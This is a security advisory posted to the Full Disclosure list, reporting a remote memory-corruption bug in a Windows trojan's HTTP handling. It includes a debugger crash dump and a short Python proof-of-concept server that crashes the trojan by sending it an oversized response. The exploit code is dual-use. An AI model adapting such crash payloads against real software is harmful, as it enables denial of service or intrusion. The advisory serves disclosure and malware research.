Date: Sat, 2 Jan 2021 17:51:35 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] TROJAN.WIN32.JORIK.DMSPAMMER.SZ / Remote Memory Corruption

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source:
http://malvuln.com/advisory/bdcaed5042eba30f91b093f0bcb3caf3.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: TROJAN.WIN32.JORIK.DMSPAMMER.SZ
Vulnerability: Remote Memory Corruption
Description: Memory corruption on server response when making HTTP
POST request for PHP file named "stat1.php" on TCP Port 80.

Type: PE32
MD5: bdcaed5042eba30f91b093f0bcb3caf3
Vuln ID: MVID-2021-0008
Dropped files: svcnost.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 1/2/2021

Memory Dump:
(1dc4.14dc): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=ffffefff edx=00000000 esi=00000003 edi=00000003
eip=773ced3c esp=0acbf444 ebp=0acbf5d4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400          ret     14h

0:003> .exr -1
ExceptionAddress: 03b2657b
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 0ada1000
Attempt to read from address 0ada1000

0:003> .ecxr
eax=e5cb4ea8 ebx=00000002 ecx=ffffefff edx=00000000 esi=0ada1000 edi=0adc2390
eip=03b2657b esp=0acbfd84 ebp=0acbfdc4 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
03b2657b f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

0:003> dd 0adc0008
0adc0008  41414141 41414141 41414141 41414141
0adc0018  41414141 41414141 41414141 41414141
0adc0028  41414141 41414141 41414141 41414141
0adc0038  41414141 41414141 41414141 41414141


Exploit/PoC:
import socket

port=80
payload="A"*4000

def doit():
    global payload
    s = socket.socket()
    try:
        host = ''
        s.bind((host, port))
        s.listen(5)

        print('TROJAN.WIN32.JORIK.DMSPAMMER.SZ / Remote Memory Corruption')
        print('MD5: bdcaed5042eba30f91b093f0bcb3caf3')
        print("By malvuln")

        while True:
            conn, addr = s.accept()
            conn.send(payload+'\r\n')
            conn.close()
    except Exception as e:
        pass

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occuring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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